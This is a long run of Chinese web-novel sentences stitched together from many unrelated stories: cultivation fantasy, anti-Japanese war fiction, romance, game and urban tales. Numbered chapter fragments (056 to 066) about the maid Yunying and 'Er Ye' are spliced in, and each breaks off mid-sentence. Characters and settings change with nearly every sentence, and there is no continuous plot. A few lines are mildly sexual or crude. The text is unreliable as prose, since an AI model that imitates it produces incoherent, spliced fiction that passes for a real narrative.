卓曦点点头,说道:“多谢凤栖夫人垂爱,卓曦感激不尽!”便让萍儿和盼儿将东西接过来。 “就像是你成婚那日一样,是一个良辰吉日。”上官毓秀嘴角露出轻佻不屑的微笑。 时乐气愤的一拳击打在了结界上,结界安然无恙,她自己的手到痛的她只叫。 此时皓月也飞身来到了桥上,看到这一幕,一脸疑惑的看着君天凌,心中暗道:这家伙哪儿来的这么大的火。 并口口声声说WF一直很注重蓝染技艺,包括设计师在内都很喜欢蓝染,喜欢中国的这个非遗技艺。 这对赶路中的他来说,有些不值得,只有在别无退路的情况下,他才会和吐灵境的山海兽勇猛的搏斗一番。 “她说什么?”陌晟一脸不确定的看着荆昇苏苏走出来的那个房间还没有关紧的那扇门。 “年轻人,手下功夫见真章。”希里克冲了上去,神秘人下意识一拳挥了过去,但它落空了,希里克变成了无数的蝙蝠,蝙蝠们附着在神秘人身上,用锋利的牙齿刺入他的身体,吸收着他身体的力量。 但薛冬亦并不是很了解,罗诗兰修道多年,是个天生的清淡性子,论起炼气养气的功夫,他是拍马也及不上罗诗兰的。 056 后劲有点大 一人跪,其余人也呼啦啦都跪下了。不过片刻功夫,现场除了云莺三人还站着,其余人俱都跪在了地上。 二爷也不妨会被人认出来,毕竟当时他过来视察时,正逢前塘村干旱。此时又是晚稻的灌浆期,百姓们忙着挑水施肥,大家都聚在田地里。 他一路视察过来,只里正一家知道他是谁,其余人还真不知情。即便路上走个碰 此时那BOSS正要转身离去。但是不知道是怎么回事,总感觉有一股强大的黑暗力量向这里‘逼’近,难道说又有黑暗大军袭来了吗?要是这样,真不知道要打到什么时候才是个头儿。 说完,只见那老头瞬间消失在我们眼前。而看到了这样的景象之时,我们顿时一惊,难道是上帝? 两人也同意秦飞的想法,于是一行人便开始沿着街道寻找客栈,可几人走了许久,几乎找遍所有的客栈都没有空置的房间,说是被这次参加院试的外地考生给租下了,又找了一阵子还是没有。 两个想发泄的人碰到另一个想发泄的人,他们又在那里各种嘲讽,不出事才怪。这不,狼都终于忍不住了,直接开杀。 阿苑坚持是尹伊推的张雪茹,说了之后就像自闭一样不再多言,抱腿沉默。 面对着孙观和昌豨已经有些吃力的臧霸,自然不能任由韩言来对付自己,因此隐隐地威胁起来。 半响后,五星上将终于开口,“尊敬的物质世界代表,我是IT联邦第九千九百九十五代掌舵人,。 青州府位于山东中部,西接济南府,东接莱州府,北靠渤海湾,是山东西三府之一,也是明朝后期抗击倭寇,驰援辽东,拱卫京师的军事重地。 当司徒雅茹看到楚昊然那张脸的时候,微微有些发愣了,她纳闷的冲床上坐了起来,不解的上下扫了楚昊然一圈。 “你这么说我可更要喝了,一醉解千愁。”墨之妄看了胡汉三一眼,又开始喝。 大阿福?孟九成一边想着事情,一边捏着泥娃,一边还和穆易说着话,可谓是一心三用。捏完后一端详,不由得笑了起来,不知不觉竟然捏出了自己最熟悉、最喜欢的惠山大阿福的形状。 “夫人停一下,让队伍停一下!”徐柔从后面的马车急匆匆跑到了吴夫人所在的马车上。 在阿基利攻击的同时,墨之妄的身后也同样升起了一个黑影,黑影张牙舞爪,似乎是对着天空咆哮。然后在阿基利的命魂攻击攻至的一刻,墨之妄猛地起身,与他身后的黑影重叠起来。 他们这家餐厅开业的时间并不长,最多也就是半年多的时间而已,要说餐厅的生意好也不好,不好也还过的去。 “我并没有逼你,也没有威胁你,孰轻孰重,你自己心里会做选择。”孙权回道。 只听一声急刹车的声音,路虎揽胜在老太太之前躺下的地方,停了下来。 沈曼丽今天加班到八点多钟,好不容易把手头上的事情忙完,正准备下班回酒店的时候,办公室的房门突然被人从外面敲响了。 “发什么呆,我穿这身不好看吗?”唐姨红着脸啐了我一口问道,下意识的捏着裙角转了个半圈。 日,这不是高中地理里面经常会用的词语吗?刮风就刮风嘛,非要叫什么空气对流,一个简单明了的俗语可以解释清楚的事情,非要搞的这么复杂。 057 入室 说到木槿和秋宁,今天两人本是要一道出来给丁姑姑送行的。但后来秋宁想到,她中毒这么久,身子没彻底养回来,就连容色也较之往日逊色不少。 这是她们中毒后第一次见二爷,即便不能一眼让二爷惊艳,但也绝对不能让二爷觉得,她比之前有所不如。 秋宁是这么想的,也是这么做的。木槿得知了秋宁的算盘,干脆也不 苏杭接过金块谢过魔君就此放过,虽然没有弄明白魔道为什么要抢走金块,魔君也说了是误会,苏杭也不想再追究什么。 “你的外伤已经差不多痊愈了,战力也能发挥个七七八八,剩下的,自己去剑池里寻!”最终,秦川得到这么一句话,只能寄希望于剑池之行。 不过,纵然天劫如此危险,很多修士还是义无反顾的向着上三境发起冲击,造化境修士八百载寿元,对普通人来说似乎足够久远,可修士们是不会满足于此的。 威尔逊淡淡的说起,瞥了眼脚下抖折而下的旋梯,他狠狠地跺了跺有些发麻的右脚。 苏哈三人点了点头,队形四散开。幽羽右手按着弩箭,仰头在各个哨楼顶部望了眼,跟了上去。 五行神子体内有兵祖的残魂,两人之间有着特殊的存在方式,认出秦川的天赋神通一点都不稀奇,肯定也知道秦川秦族的身份。 “师妹!你在这里等我一下,我要到下面去看一看!”华天说道。 若无意外,需要渡过九重天劫,杀过一次又一次的劫难,如此才算是完满。 “先给重伤的同志用药!”一名医生看到送来的人员越来越多,只能对同事们大声喊道。 “别呀,别到时候再……”乔双双正打算再哭诉几句,就听到听筒里传来了盲音。 “那就借着这个机会测试,你要明白一件事情,驻守开封的部队已经被我全部带走了,我要是全军覆灭,你也跑不了!”玲木清川怒不可遏的吼道。 一听说孙山明天回来,岳清薇就感觉自己全身骚痒起来,感觉自己极需要孙山来填充。 “支队长不好了,二营的孟营长汇报,他们遭遇了土匪的袭击,部队出现了伤亡,希望大部队马上支援,我也是为了让你早点知道这个消息才。”张蔚波有些不好意思的回答道。 “西门庆在硬接了几十刀黄金三重浪之后,居然勘破了黄金三重浪的奥妙,并且使出了二重浪?”国主震惊道。 试了三颗子弹后,罗森最终确定了加入多少发射药比较合适,这才把余下的那些选好的子弹都进行了改造。 中村祐也怒气冲冲的犹如一只发怒的野狗一样咆哮,对于张松溪的反击非常生气,只不过,他就是不提大规模发起进攻的事情。 哪怕是自己,再加上那些真龙,要想吞掉这五万多人也绝不可能这么轻松。 “你不是会吹吗?刘导说正好趁着今天这个机会,让大家欣赏欣赏。”乔双双一脸真诚的说道。 昨天就是穿着这一身的真澄把林远从漫展领到家里,妹妹正准备上高一,而林远开学就是高二了。 傍晚,谢钧坐在校园内路边的石头凳上,他约了林霏出去吃晚餐。 身为十番队的代理队长,上任前,他还想过有事乱菊干,没事干乱菊的悠闲未来。 “我没事的,秀浩哥。对了,明天就要开始拍摄MV了,我们要早点出发了!”从出神状态被林秀浩唤了回来,陈哲一副若无其事的模样伸了个懒腰,又恢复了平时那副懒散轻松的模样,将事情深埋进自己的心里。 058 鼓噪难耐 “穗儿,你怎么了?” “没怎么,姑娘我已经回来了。” 穗儿再次听见姑娘问话,她直接从二爷跟前跑过去,一下子便扑到那挂了秋香色帐子的架子床上。 架子床前放着一双简单又秀气的,雨过天晴色的绣鞋;架子床上则放着一条湖绿色叠丝薄被。 云莺就躺在那薄被中,素来清冷的面颊上一片不正常的晕 以为自己是第一个到达终点的哈利喜形于色,他的目光像是黏到了奖杯上。 他没有迟疑,将右手的火遁螺旋丸径直朝着那名狼首面具的影级忍者攻击而去。 大约十二点左右,从门外的通道传来一阵响亮的咔嚓咔嚓的声响。 看了一眼,捂着裆部蹲在地上惨叫的憨货,使完一计撩阴腿的窦唯,轻轻的笑了一句。 齐玄易感受到这蚀骨的疼痛,体内的狻猊精血受到太阳紫气和火鸦精血的吸引,开始从里面震荡锁脉咒,两股痛楚交织在一起,让齐玄易几乎要心神失守。齐玄易深知他却不能昏倒,也不能分散心神,否则一切都会前功尽弃。 虽然这是从白鱼的认知中截取出的片段,但也经过了丑壶一些独特的改造强化。 且说,宫本见雄接受了曲武洲的挑战,可他想的并不是现在立刻马上开始比武。 它们挥舞着早已不存在的节肢,充满攻击性的向着鹊发起冲锋,他们的攻击欲望从来没有减退过半分,哪怕肉体已经消亡,也依旧遵从着神灵的命令。 虽然一直知道玉玲珑的心意,但是玉玲珑实际上一直没有正面表白过。 因为窦唯刚看过去,就瞧见了坐在他们中间的黄厨子,而黄厨子正无奈的应付着那些艺人亲切问候。 逆天河忽然想起:自己凝聚真气翼展,逃出威虎山去绝对不是问题,但是逃出之后,必然被龙武帝会通缉追杀,四柱八梁,兄弟叔伯子侄都绝灭了,自己还能剩下什么。 两大家主就这样在高台之上针锋相对起来,犹如针尖对麦芒一般,两人互不相让。 奶妈和兔子也突然凌厉了起来,颜夕和张月两人的变化,都让她们感到了压力,一下子攻势都变得凌厉起来,甚至开始扛着伤害硬上。 他在游戏之中死亡,系统对其进行复活,或者说角色重建,是花费了一定时间的,但这个时间具体有多少姜陵并不清楚。 生日会很温馨,虽然没有蛋糕,没有蜡烛。但相机记录下了这不惧怕岁月的一家三口,三张年轻的脸,看上去更像是同居的室友。 那三道暗黑色刀气,被雷霆圆球以一种摧枯拉朽的姿态,摧之为齑粉。 “因为我需要一个全新的灵道盟,而我只相信他们。”说完,颜夕便起身了,也不管灵道子会不会答应,因为她本来就不是过来和灵道子商量的,她只是过来通知的,就算不给,她也会抢过来,不择手段。 当然,要实再命运的改变,祀帮成员是不可能办到的,祀帮背后也就必然有无数的正祀在撑腰。不管是求子、求财、求命,只要找对了“正祀”就能实现,但这种命运改变只是短暂的,凡人命运已然被预设是不可动摇的失序。 “你真的要和我在这里动手吗?”路双阳看了看周围,这里是船的甲板,要是在这里动起手来,以两人的实力,恐怕不止会毁坏甲板那么简单,严重的话会导致这艘船沉掉。 059年礼 云莺这场病来的快去的也快。 到了翌日,她真的已经大好了。 只是到底病了一场,又逢这一日下了薄雨,云莺便不敢出门去,只在自己屋里待着。或读书练字,或处理些不太重要的内务,倒也乐的自在。 眼瞅着到中午了,秋宁又屁颠屁颠的跑了过来。 她这两天往云莺院子里来的有点勤,说是一天跑三躺, 后来又听说尸身被刑部的仵作带了去,皇上也没怎么留心,兄弟之情么,活着的时候都没有什么,更何况人都不在了。 当时,已是凌晨,马猴出了监狱,根本不敢停下,一路跑到了城北。到了城北,他心里挺犹豫的,要不要去见柳拳。思考在三,他还是决定先不见柳拳。随后,马猴去了个早点餐,准备填饱肚子,在去洗浴中心发泄一下。 黛瑾一步一步的挪向来时的路,心中所有绝望的念头都一齐闪现。 “行!!”我点了点头,然后扔掉手上的烟头,跟着钢弹往面馆的方向走去。 初夏至广川王府之时,王府是从未有过的静寂,在梧桐苑与阳成昭信、阳城初两人院中找了一番,皆未找到,打听之下才知,人在王府柴房,便急匆匆地往柴房而去。 杨锦心被他拖着手,脚下一动,之前被磨得隐隐地疼痛,变成了钻心地疼,她咬牙走了两步,就被秦慕阳发现了不对。 “为什么?为什么不是他?”司马峰咬牙切齿,最被他那张乌鸦嘴给说中了,对手竟然真得是林辰。 仙王就是仙王!仅仅随手一拳,就轰破了虚空,带着无坚不摧之势直奔君一笑而去,恐怖的压力让君一笑瞬间汗毛直竖,浓浓的危机笼罩在君一笑心头。 因为是平原地带,还有八水绕长安的胜景,引渠灌溉就是了,没有老孟说的那么可怕。 那两毛三的老警察也开始往下吩咐派车,全场人在这一刻几乎都屏住了呼吸,唯独只有方婷还在不断向我这边靠近。 “这个倒是没什么问题。”狐狸差点被苏慕白糊弄得一惊一乍的心率错乱而死。 雷子民十分的焦急,在心里骂这些人是蠢猪,矿场的守卫有他这个筑基修士镇守着结果都被敌人打败了,那么他们就应该想到敌人十分的强大岂是他们这些人可以面对的? 乔仓金一叹了口气,现在这事情本来就是那两个弟弟惹出来的,要是让他们去跟宋成杰交涉的话指不定又得让他发怒,可要是自己在这擅自做了决定的话,到时候依照乔仓夕的性格来看,八成是得把这黑锅丢在自己这边。 去什么最后圣地只不过是地之王胡诌的话,但从宋成杰的询问里他能确认一件事,就是自己的那个分身也应该是参与到了昨天的事里。就是不知道对方做的是对宋成杰有益还是不利的事。 可以看出,在听到吴彤彤的这句话后,包括沈一丹她们,此刻也是同样露出了惊讶的表情,不过在细想之后,他们包括沈一丹一行人在内,似乎也是明白了李然这样做的用意。 而与此同时,对于远在中央大陆的一众队友来说,在得知李然回归的这个消息之时,确也是在长松一口气的同时,心中又莫名感到了一丝兴奋。 可真正解开了之后,他又开始六神无主的认为自己也到了疾病乱投医的地步了。 060 遛狗呢 这些衣衫鞋袜,应该都是国公夫人小冯氏给儿子准备的。 因为云莺稍后又发现了一个特别的箱子,那箱子更花哨些,看起来就是年轻女子或夫人会用的。 再看里边放着的也是给二爷准备的衣衫鞋袜等物,那云莺还有什么不明白的,这指定就是二夫人给二爷准备的东西了。 怕自己猜错了,云莺又拿出物品单子。 这儿已经不是刚才那个鸟不生蛋的山洞了。宽广的穹隆泛着黯淡的血光,一簇又一簇淡蓝色的虚幻光芒在上空飞过, 飘忽不定, 杂乱无章, 诡异中又带着丝丝的似曾相识感。 两部电影都获奖,这样的水平已经足以证明奇迹时代在这一方面的实力是多么雄厚。 “那么自我介绍一下,我是埃米尔,至于我是什么东西……我想先知道你是什么东西,据我所知,人造人不可能有这种思维。”埃米尔说道,现在他没有了刚才的那种怯弱,反而有些咄咄逼人。 龙太子的心软只是一时的,龙这种生物,七情六欲中,同情心是最弱的。更何况这一切,本就是它一手造成的。 收到了消息之后,起初还不是很在线虽然有点重视,但是也是边吃早餐边合适奇迹时代的资料。 那些拥有魔力的强大动物很有可能会为了扩张领地与人类起到冲突,所以这一类特殊职业也是林艾和索菲亚模拟的世界模型中存在的。 可是花奴真的不生气,只是有些害羞罢了,因为花奴知道公主永远不可能将她赏赐给叶重的。 主持人巧笑嫣然的讲解,说话的语气和节奏都控制得很好,让人听起来觉得很舒服。 至于动物皮毛,比如羊毛什么的,叶重计划以后与北元直接对峙的时候启动好了,目前先把桑蚕丝、麻、棉这几种原料吃透再说。 “哪里……只是,有的人明骚,我这叫暗骚而已……”李方诚一惊,原来自己的表现这么像一个老人?当下马上转移话题。 三天后,当三宝将一头双头青蛇斩于刀下,身后不远处吴峰几人几乎同时发出一声欢呼。 苏彦手腕一抖,龙渊剑呛然出鞘,杀气凛冽,迎风而上径直将那道刀芒生生冲碎。龙渊立在苏彦手中,寒光四散开来,身在一旁的众人不由感觉寒意逼人,身子微微颤了颤。 赵炎在心里狂呕了一阵,看见狂龙这个幸福的样子,不禁替他默哀。兄弟……你要是看见糟老头那猥琐样,恐怕你就会后悔今天说的话了。 一边儿骑马往临水城的百草庄走着,景麒一边儿考虑起了这个问题。 四大家主心中一惊,看来他们真气被封的事已经被赵劲知道了。否则,就是借赵劲天大的胆子,他也不敢只凭一己之力而前来挑衅。眼前形势相当不妙,如果拒绝赵劲,只怕立马就有杀身之祸。 “何必呢!”李慕一句话说完扔出黑狐皮,在妲玉万分震惊的短暂时刻,李慕手结雷印,承天雷,爆全身法力,一击扣下。 梅军首领望望天空,又望望爱樱城堡的最高处,心想自己的士兵要是能飞在空中,然后从城堡上空空降下去就好了。几片大雪落在首领的脸上,让他一阵冰凉,这才将他从美梦中拉醒。 于是回归正题,欣雨继续看帖子,下面就是注册会员的回帖了,当然,大多数人只是在灌水而已,灌水是光荣的事情,无聊的人最喜欢干了。 061 帮忙算账 随雨人走了,但他猖狂的笑声,却很快就从正房中传了出来。 云莺脸都黑了,迁怒的看着二爷。 二爷觉得她气怒的模样有些搞笑,再想想她方才的话,就觉得更搞笑了。 他嘴角控制不住的往上扯了扯,眸中浓郁的笑意要流泻出来。 云莺想叉腰骂人。 “二爷您还笑!” 二爷努力忍笑,可实 要是让墨风知道于凉将两件毫不相干的事情串联在了一起,一定会哭笑不得大感冤枉。 狄仁杰慢慢地捋着胡须,消化这自莹玉这儿得到的信息,算是疑窦初解,然心里又不禁泛起一些异样。 当然更注意到,解毒丹丹瓶碎开的时候,这老东西在百忙之中,还以大袖装了所有。 叶竞天摇头,还想再说点什么话,一把枪就直接抵到了他的身上,不知道什么时候,一个男人已经站在他的身后。 从那之后昊天便故意抹了一些血液在手臂上,一路上便再也没有遇到任何危险,直到他们看到了远处的那座巨城。 墨风只觉一股寒气扑面而来,本就森冷的气温再次陡降,仿佛要将他冰封冷凝,就连手脚都有些发僵。但这森然寒气漫过了他的经脉,漫过了他的内腑,却终究漫不进他的血脉中,像是被一层无形的屏障阻拦在外。 还不等他疑惑细想,含秋丹的下一个攻击灵技又紧跟着冲了过来,却是一片灿灿如长河的紫色光华环带,当空而降重重叠叠,仿佛要将他四面八方都封锁起来,一层一层地将他绞杀至死。 “考虑的怎么样了,我们的耐心是有限的,不要逼我们动手。”外面的人有些不耐烦了。 能够让白天明用到请这个字的人不多,全省也只有政府里那几个头头。 为了面子林铭能够理解,可是三番五次的这样装,就有点没意思了。 “哈依!”几名鬼子军官同时应了一声,转身分别去传达命令去了。 “哈伊!殿下英明,只要我们能够掌握秦锋独立支队的行踪,就可以极大的避免被其偷袭。”町九量基连忙说道。 “竟然将裂镜附加到了空间跳跃之中。”麻仓耀用呆然的声音感叹道。 “这么吃惊干嘛?这就是说你也知道这东西的用处?”这次倒是凌冲露出惊讶。 夏尘并不是傻子,当然知道军师在想什么,换做是自己,也不会相信,何况自己和军师不过是刚见面不久,自己前身的名声又非常的差,她能相信自己才有问题。 夏尘之所以会有这个举动,其实他知道,以前夏尘所犯的错误,其实是有人在推动,不过现在时机并不成熟,他不能去找这后面这个起推动作用的人的麻烦。 正因为价值极大,所以之前姜华宁愿击杀刘青山的弟子,让逸邪宗与紫阴宗狠狠交恶,也要将神果抢到手。 话讲回来,以晨央共和国的科技实力,还远不足以研发出这样的武器,这还不知道从哪里偷偷采购回来的,整个国家也没有几个只怕今天都用在了这里也只有首都星防御圈的指挥官,才有权限动用这种终极大杀器。 毕竟从已知的情报上来看,至少已经有苏晴和风宇这两拨人盯上了这里,说不定这个时候,也有他们的人潜伏在暗中,做着和许潇他们同样的事情。 “似乎有些道理,老生,就由你来跟他谈判吧!”独龙拳头捏得嘎吱嘎吱响,他思考的时候,总喜欢这样捏指头。 062 要我给你磨墨么? 除了那高高的几摞账册外,云莺这边还放了几支小号的狼毫与砚台,再就是一把油光明亮的算盘。 这算盘应该是老物件了,不知道陪着之前的账房盘了多少账。 云莺上手,轻轻拨拉起算盘珠子,别说,是挺顺滑的。一拨动起来,算盘珠子噼里啪啦作响,那声音听着还挺悦耳。 但不管这算盘有多好用,云莺也不准备 洛天鸢又岂会知道,这方圆数十里的魔兽在昨天晚上她大战那条红线的时候,已经见识到了她的风采,岂会自动送上门来呢。 百里天长扫视了一眼纳兰明星拿出来的晶石,略带着些嘲讽对他说道。 洛天鸢从“天鸢秘境”里出来,从房间踏步到院中,不明所以的看着月柔儿。 “幽冥主,本王现在便要离开幽冥地府。这次多谢你提供禁地给我们使用。 “好。”慕容子焉说罢,走到他的床前,趴在地上从床底下摸出了一个蓝色布包,他将布包在穆婉凤面前打开,呈现在穆婉凤眼前的是一些银子和银票。 达瑞一边说着,一边迈步往里走,从始到终,他都没看那个粮店的服务员一眼。不过这样傲慢的举动,不仅没有引起对方的不娱,他好像还很高兴的样子,看得达瑞心里感慨不已。 “这里果然是个好地方!”李成风信手摘下杏树上的一颗黄杏咬了一口,顿时酸的呲牙咧嘴。 达瑞点点头,随后在服务员的带领下,来到了希尔顿老板专门给他们准备的包间里。 她的手移到了二哥的身上,轻轻的游走着,感觉到男子的身子僵硬起来,她的嘴角渐渐上扬,也不着急解下他的里衣,而是在他的身上如弹琴般轻轻的拨动着,撩拨着男子的身子,惹的百里鸿哲一阵颤栗。 “那就等你和贝贝“嘿咻嘿咻’的时候,爆你的菊花!”康氓昂说完“哈哈哈哈”地大笑起来。 她的声音冷而响,说完这话,她厌恶地瞪了一眼建康王,也朝着殿中几个角落瞪了一眼,这才转过身去。 张责知道今天算是遇到狠人了,他本来打算服个软,然后留下一些马路钱财,这样大家和气生财,没想到这里的山匪胃口竟然这么大,铁了心的吞下这些货物了,心中一横,脸色铁青,冷冷的道。 只看到李浩谦“噗”地吐出了一口鲜血,而且鲜血中还含有两颗门牙。 看着经过激烈战斗的队员,每个队员身上的衣服留下了太多战斗的痕迹,队员们的身上都已经挂了彩。从这些情况来看,可以想象到他们遭遇的情况到底有多激烈。 这窫窳看着卜量子,一直是将其作为最大的对手,现如今两人相见,自然是心中极为愤怒,故此方才是挑衅地说道。 可她这人,本就不是特别聪明,不然前一世,怎么也落不了那样一个结局。 “杀了他!”珈蓝护法梵音怒喝一声,叫醒了还在发呆的其他人。 霎时之间,并未料到是如此状况的窫窳措手不及,又是看的你魔妖老祖手中一股黑气朝着自己瞬间爆射而来,心中大骇,连连后退。 更是吓得疤脸的同伙,个个跟筛糠一般乱颤,蹲在地上不敢抬头。 眼见手中的青剑足以破开这蛊雕的皮肉,林毅心中更是一欢喜,又是一股魂力爆发而出,“噗通”一声,整个剑身再次没入那蛊雕的背部。 063 布料和首饰 因为珠心算的本事在二爷面前过了明路,云莺就不藏着掖着了,接下来她速度很快,一个上午过去,足足算了有八九本账册。 她全身心沉浸在算账的乐趣中,并未觉得烦闷和辛苦。 可二爷叫了停,让她休息休息准备用午膳,她一停下来,就感觉到肩颈和脊背一阵难耐的酸痛,身体也好似被掏空了。 她难耐的闷哼了 先前还穿云石裂的哭声在眨眼间戛然而止,强烈的冲击之下,安悠然只瞪着水晶般剔透的眼珠子直楞楞的看向黎彦,什么词也想不出来,什么话也说不出口。 这只醉猫醉成这样还想去相亲,他是存心想搞砸是吗?芊芊无奈地又摇摇头,算了管他今天是去结婚,反正把他载过去就是了,至于之后的事情她不会管的了。 此时的栖灵寺人潮涌动,相信这里香火最盛的时候也不足此时十分之一的人气,里三层外三层。 我缓缓移动了一下僵硬的身体,清灵连忙将我轻轻扶起来,坐在石榻上将我依靠在他的怀中。 温热的手指触碰到她的肌肤,雪萌微微一愣,倒也没觉得有多少尴尬。 冷纤凝水灵的眼睛扫视了一下依然敞开的宫门和火烛高挂的大厅。眉心微微的凸起,这个时辰,所有人早该入睡了,如今为何亮如白昼。 她很生气,真的很生气,她的话都说到这个份上了,这个男人,居然还是不肯正视,还要逃避。 淡漠如烟的声音重复着之前说过的话,可本就凛寒的语调越发冷了几分的温度,和干脆升级到对着雷彻发号施令的狂傲,又何尝不在彰显黑衣人己是不加掩饰的厌烦!? 虽然表面上无风无浪水波不兴,但诸人还是感觉自从黎彦抱着鲜血淋漓的安悠然回来后,王府上下开始悄悄的发生了改变。 妙真师太脸色不断变幻,突然双手一翻,再次施展出大乘般若掌,朝着“鸡蛋”猛抓而去。 郭凤比诸葛玄更着急,他放下茶壶,听到诸葛玄说话之后也是忍不住催促李更云说出其中的缘由。 变色钻石,吴助理总觉得这是忽悠人的。真能办到,珠宝界还不发生历史性的革新。 在基因受到外来病毒入侵破坏的时候,便会自动进行修复,从而达到免疫病毒的效果。或许唯一的缺点就是,只能用于一般人,也就是没有过基因变异的存在,像浩克、美队这种都是无法使用的。 在梁屋村村头低洼的地方,是一处几亩的水塘。水塘里种了不少水葫芦、水芋头等水生植物,村里的污水,都集中往水塘里排放。 “好了,你们不用再演戏了,我已经报警了!胡炳庆,人称”湖里一只狐“,不知道我说的对不对?”杨兴国推门进来的时候,正好看到二人在那边一唱一和的,脸上挂冷道。 德意志看到依旧毫发无损的飞羽,下意识的握紧了拳头,似乎是打算拼尽全力放手一搏,然而过了几秒钟之后又松开了拳头,失落的底下了脑袋。 张诚心中一万只羊驼咆哮而过,懒得理会田帅,正准备转身走,那三个逛摊的妹子却走了过来。 满身鲜血的男人,露出森森的白牙,对着那燃烧的烈焰,陡然合上了手掌。 巨大阵法内,一道光芒大作,一股强悍气息伴随着一声清啸传出。 官萟冰心口狂跳,屏住呼吸,恨不得在耳廓外边支把伞再接个天线,以确保能清晰地听到泠珑接下来的每一个字。 064 醉酒 云莺原本想着,等过几天她穿着新衣裳露面,秋宁和木槿知道了,许是会过来找她闹。 届时她该怎么解释她都想好了,然而,根本没等到她穿上新衣服那天,第二日云莺正在用膳时,秋宁和木槿就一起过来了。 两人的面色都不好看,尤其是秋宁,那脸黑的,就跟被人偷了家似的。 家自然没被偷,只是她们从丫鬟嘴 若是普通人,马上神经错乱都算是轻的,脑袋瞬间爆裂开来都是有可能的。 可能大家在电影里面也经常看见道士咬破手指点在僵尸的头上就可以镇住僵尸,但是那并不是僵尸,而是跳尸!再者,并不是把血点在这些尸煞的头上就可以镇住尸煞的。 “飞机刚一降落她就走了,走了大概有十多分钟了。”空姐微笑着说道。 千苍千夕早就闭上了眼睛,此时他的脑海中或许还回忆着临死前看到的那一片世界,那属于他自己的世界。从一开始他便知道这个结局,只是对于一个热血少年,他不能够逃避,也无法去接受。 齐麟举重若轻,当最后一枚药材燃烧完毕后,就听到咚咚咚咚敲鼓的声响,在鸾丹鼎上出现了五色锁链,五色锁链一条接着一条破碎。然后鸾丹鼎才终于显露明亮的光泽。 而照殇和肉身脱胎诀上的描述,肉身修为到了王境之后根本就不需要消耗自身力量,肉身所在之处即为领域所在,意思差不多就是灵修将灵力延伸至体外形成领域,而体修的领域和肉身是一体的。 “三姐,如果你想跟他在一起也不是不可能,等他足够强了,相信爷爷也不会反对你跟他在一起,五大仙家中,常家对我胡家威胁最大!我们可以借助他的力量,毕竟上一世的他就差点灭了常家。”那个黑袍人开口说道。 待得掩埋了尸体,姜七再度还归人身,取了披风捆系穿戴,玄族的披风和天族的大氅样式差不多,只不过披风比大氅要薄上不少,行走之时更显飘逸。 经济社会的发达,让很多后现代的设施都悄悄的消失在了公众的视野,路边的公用电话就是其中之一。 “周世子,莫急。有楚将军在,这种事情不会发生。”秦枫压下心底的情绪,开口安慰。 时玉儿没有回话,只是静静地盯着沉睡的男人,就这样陷入了沉默。 原本只是大成情况的元素美好,在巨蟒血脉天资的增幅之下,抵达了一个极度惊骇的程度。一瞬间,健旺超级强者的身体骨骼血肉被巨蟒大片的撕裂吞食。刚一接触,健旺蛮兽便被巨蟒盘绕了起来,根柢不或许逃脱。 百里铄一家接到命令后,立刻放下手头事务,匆匆忙忙地赶来了。 可奔跑中,突的一种危险的感觉突然降临,熊初墨不敢有半分迟疑,猛的改变重心,一个用力向相反的方向扑去。 这里常年算得上是无人区,之前那片树林偶尔还会有人进来,但这里却真的是彻底的空无一人。 就在这千钧一发之际,那壮汉竟被人揪了起来,摔倒在了地上,而白冥珊此时也获得了自由。 可能是因为一起做了坏事,也有可能是因为常欢那一副完全把顾寻真当成自己人毫不避嫌的态度,让双方因为云梦欢而产生的那点子隔阂消失得无影无踪。 碧月似是没有想到他会这样关心自己,脸涨得更红了,让夏墨城以为这巴掌是真的狠的。 065 道不同 云莺不急不躁的将来意一说,二爷看着她便笑了。 云莺被二爷这笑弄得摸不着头脑。“您是觉得我这安排有些多余么?” 二爷啧了一声,“那里是多余?简直是再仔细周全没有了。怪不得丁姑姑一直在我跟前说你的好话,铁了心要任你做管事。原来你做管家,确实更细心周到。对比你这管事思虑的这么周全,随云他们之前 其实,真正让他们震感的,还不是这个,而是田川真子的精妙算计,估计当事人林天凡都不知道,他会冲上前去挡子弹,其实是田川真子在背后精心策划出来的,甚至可以说,上田川真子推着他去挡的。 陆弘也不和他争辩,只是莫测高深地笑了笑。孙达智也扭过头去,琢磨着什么。 顾仰辰的眉头又皱了起来,要是他自己能搞定还用得着陶岩吗?她现在完全无视他,他有什么办法? 安洛初微微有点冷静,刚才她莫名地想起妈妈死于车祸,恐惧感立刻让她无法动弹。 一副不可置信的样子,以前,自己那是百试百爽,可是,今天怎么不见起‘色’了? 而现在呢,这雷声离她那么近,并且还不断的靠近着,好像是要把他们这一马三人活活的吞噬掉。 不过他真的好想试一下她说的那道三鲜炒竹笋,权衡了一下,最终狠了狠心才说道:“我对竹笋过敏”。 身上的蛊毒虽有了古筝抑制,发病的时间越来越少,但仍然找不到彻底解决的方法,这副烂身体无论她怎样努力,仍然是一点内力也聚不起来。她相信任何的蛊或毒都会有解药,她一定能找到解决的方法。 阳光透过格子窗洒了进来,照在他们的身上,有了一层浅浅的暖意,散发着光晕,有些耀眼。 “顾仰辰,你心虚吗?你为什么不说话?”他的沉默撕碎了她仅有的期待,原来自己的第六感这么准,安洛初有点歇斯底里。 但那几乎长到脖子根,骏马一般茂密的毛发,依然昭示着,此人尽管年事已高,却无可否认做了大半辈子人中龙凤,马中赤兔。 又是三分钟,时间已经过半,烈日当头,高照的艳阳直直得射在林菀熙的脸上,平时连晒一点太阳都受不了的她,现在却在原地没有丝毫的怨言,像是一根矗立的旗帜,守望着赵铁柱的归来。 陷阱底部已是一片大约半米深的血潭,它就卧在里面,一动不动,除了偶尔反动的眼球证明它还活着。 自天魔开遁,叶辰已不知追了多久,愣是未捉住他,有那么一两次追上,打着打着,那货就又溜了。 “认真的说,我很喜欢你的味道。”西泽在她颈窝深深闻了一下,突然张嘴,用牙齿不轻不重的在她肩与脖子交接的地方咬了一口。 两人关系早已明朗,此刻又刚刚敲定订婚事宜,更是觉得彼此之间水到渠成。 王顺水这人,心里藏不住话。要是有啥喜事,瞬间就变现在脸上。 关锦璘说着,将手中的眼球扔在地上;“砰”地一声用脚掌踩碎。 屠戮洪荒的一战,他是杀的最凶的那个,葬在他手中的洪荒准帝,可堆积如山了,其中不乏至强巅峰,气血磅礴如荒古圣体,都杀到了法力枯竭,直杀的洪荒闻风丧胆,溃不成军。 贾星星觉得萧乐这回算是挣回了面子,也挽回了贾家院落的巨大损失,很觉解气。 066 损友 二爷的人缘好不好云莺不知道,但二爷的师兄对他很看重,这点云莺是看出来了。 二爷的师兄给二爷送来的吃用的东西不多,有的也只是一些西北的特产,外加两张虎皮。其中最多,确实书籍。 那些书籍装满了两个大箱子,箱子上边还上了锁,显然里边的书籍有些贵重。 云莺见状就更慎重了。 她让雷霆带 